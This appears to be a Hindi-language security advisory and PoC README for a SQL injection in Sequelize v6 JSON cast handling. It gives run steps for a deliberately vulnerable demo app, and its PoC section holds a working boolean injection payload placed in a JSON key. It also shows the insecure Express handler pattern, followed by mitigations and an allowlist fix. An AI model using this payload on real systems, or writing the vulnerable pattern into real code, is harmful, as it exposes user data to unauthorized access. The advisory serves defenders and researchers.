अपडेट पर वापस जाएँ
UpdatedSep 2, 2026

CVE-2026-30951 — Updated!

Sequelize JSON Cast SQL इंजेक्शन

साझा करें

CVE-2026-30951 Sequelize JSON Cast SQL Injection

★ CVE-2026-30951 Sequelize ORM SQL Injection PoC ★

https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381

अवलोकन

CVE-2026-30951 एक व्यापक रूप से उपयोग किए जाने वाले Node.js ORM, Sequelize v6 में एक SQL Injection कमजोरी है।

यह कमजोरी JSON/JSONB where क्लॉज़ प्रोसेसिंग में मौजूद है। जब Sequelize :: युक्त JSON पाथ की को पार्स करता है, तो :: के बाद का मान एक SQL cast प्रकार के रूप में माना जाता है और उचित सत्यापन के बिना जनरेट किए गए SQL में डाल दिया जाता है।

यदि कोई हमलावर Sequelize where क्लॉज़ में पास किए गए JSON ऑब्जेक्ट कीज़ को नियंत्रित कर सकता है, तो वह जनरेट किए गए SQL क्वेरी में हेरफेर कर सकता है।

प्रभावित संस्करण

श्रेणीसंस्करण
असुरक्षितSequelize v6.x <= 6.37.7
पैच किया गयाSequelize 6.37.8
प्रभावित नहींSequelize v7 / @sequelize/core

प्रभाव

  • हमलावर-नियंत्रित JSON ऑब्जेक्ट कीज़ के माध्यम से SQL इंजेक्शन
  • बूलियन-आधारित इंजेक्शन के माध्यम से सर्च फ़िल्टर बायपास
  • ORM-जनरेटेड SQL के भीतर अनपेक्षित क्वेरी शर्त में हेरफेर

वातावरण

इस रिपॉज़िटरी में एक न्यूनतम असुरक्षित Node.js, Express, Sequelize, और SQLite चैलेंज ऐप शामिल है।

स्थानीय रन

npm install
npm start

ऐप यहाँ शुरू होता है:

http://127.0.0.1:9100

Docker

docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln

Docker कंटेनर यहाँ शुरू होता है:

http://127.0.0.1:9100

PoC

असुरक्षित वातावरण शुरू करने के बाद, इंजेक्शन को पुनरुत्पादित करने के लिए नीचे दिए गए चरणों का पालन करें।

चरण 1. एक सामान्य सर्च अनुरोध भेजें

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name": "emma"
  }
}

यह केवल उन उपयोगकर्ताओं को लौटाता है जो सामान्य नाम सर्च लॉजिक से मेल खाते हैं।

चरण 2. बूलियन-आधारित SQL इंजेक्शन ट्रिगर करें

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name::text) or 1=1--": "emma"
  }
}

अपेक्षित परिणाम:

All user rows are returned.

चरण 3. पुष्टि करें कि SQL इंजेक्शन हुआ

तैयार की गई JSON की Sequelize को इस प्रकार का cast एक्सप्रेशन जनरेट करने के लिए प्रेरित करती है:

CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)

चूँकि cast प्रकार हमलावर-नियंत्रित है, OR 1=1 शर्त इच्छित WHERE क्लॉज़ व्यवहार को बदल देती है। उसी सर्च एंडपॉइंट से सभी पंक्तियाँ लौटाना पुष्टि करता है कि SQL इंजेक्शन संभव है।

विश्लेषण

तकनीकी मूल कारण

यह कमजोरी Sequelize v6 में JSON cast प्रकारों के अपर्याप्त सत्यापन के कारण होती है।

आंतरिक रूप से, Sequelize का JSON ट्रैवर्सल लॉजिक JSON पाथ कीज़ को :: पर विभाजित करता है:

jsonKey::castType

फिर cast प्रकार का उपयोग जनरेट किए गए SQL में इस प्रकार किया जाता है:

CAST(<json_extract_expression> AS <cast_type>)

असुरक्षित संस्करणों में, <cast_type> को सुरक्षित रूप से एस्केप नहीं किया जाता या ज्ञात-सुरक्षित allowlist तक सीमित नहीं किया जाता। यह हमलावर-नियंत्रित JSON की को cast एक्सप्रेशन से बाहर निकलने और SQL इंजेक्ट करने की अनुमति देता है।

खतरनाक पैटर्न

प्रभावित Sequelize संस्करणों का उपयोग करते समय निम्नलिखित के समान कोई भी एप्लिकेशन पैटर्न असुरक्षित हो सकता है:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: {
      metadata: req.body.filter
    }
  });

  res.json(users);
});

यह खतरनाक है क्योंकि हमलावर न केवल JSON मानों को, बल्कि JSON ऑब्जेक्ट कीज़ को भी नियंत्रित करता है।

यह क्यों मायने रखता है

यह कमजोरी विशेष रूप से खतरनाक है क्योंकि कई डेवलपर्स मानते हैं कि ORM क्वेरी बिल्डर स्वचालित रूप से SQL इंजेक्शन से सुरक्षा करते हैं। इस मामले में, इंजेक्शन ORM-जनरेटेड SQL के भीतर होता है, जब एप्लिकेशन पहले ही संरचित JavaScript ऑब्जेक्ट्स को Sequelize को पास कर चुका होता है।

एप्लिकेशन लॉजिक के आधार पर, शोषण निम्नलिखित की अनुमति दे सकता है:

  • इच्छित सर्च फ़िल्टर को बायपास करना
  • बूलियन क्वेरी शर्तों को बदलना
  • ORM-जनरेटेड SQL के व्यवहार को बदलना

यह मूल रूप से CWE-89: Improper Neutralization of Special Elements used in an SQL Command समस्या है।

परिदृश्य

+-------------------------------------------+
|                  Attacker                 |
+-------------------------------------------+
                      |
                      | Sends crafted JSON filter
                      | with malicious name:: key
                      v
+-------------------------------------------+
|        POST /api/users/search             |
+-------------------------------------------+
                      |
                      | Sequelize JSON where clause
                      | processes key containing ::
                      v
+-------------------------------------------+
|     Unescaped SQL cast type injection     |
+-------------------------------------------+
                      |
                      | Boolean condition manipulation
                      v
+-------------------------------------------+
|          SQL Injection Confirmed          |
+-------------------------------------------+

शमन

  • Sequelize को 6.37.8 या बाद के संस्करण में अपग्रेड करें
  • उपयोगकर्ता-नियंत्रित ऑब्जेक्ट्स को सीधे Sequelize JSON/JSONB where क्लॉज़ में पास न करें
  • ORM फ़िल्टर बनाने से पहले उपयोगकर्ता-नियंत्रित JSON कीज़ को अस्वीकार या सामान्यीकृत करें
  • मनमाने अनुरोध बॉडी ऑब्जेक्ट्स को स्वीकार करने के बजाय whitelist-आधारित फ़िल्टर निर्माण का उपयोग करें
  • SQL नियंत्रण सिंटैक्स या :: जैसे cast विभाजकों वाली JSON कीज़ को अस्वीकार करें, जब तक कि स्पष्ट रूप से आवश्यक न हो
  • सर्वर-परिभाषित क्वेरी फ़ील्ड को प्राथमिकता दें, उदाहरण के लिए:
const allowedFilters = ['name', 'role', 'team', 'office', 'department'];

if (!allowedFilters.includes(req.body.field)) {
  throw new Error('Invalid filter field');
}

अस्वीकरण

यह रिपॉज़िटरी केवल नियंत्रित वातावरणों में सुरक्षा अनुसंधान, रक्षात्मक सत्यापन, और शैक्षिक उपयोग के लिए है।

इस PoC का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने की आपके पास स्पष्ट अनुमति नहीं है।

EQST Insight

हम महीने में एक बार CVE और मैलवेयर विश्लेषण प्रकाशित करते हैं। यदि आप रुचि रखते हैं, तो कृपया हमारे प्रकाशनों को देखने के लिए नीचे दिए गए लिंक का पालन करें।

संदर्भ

श्रेणियाँ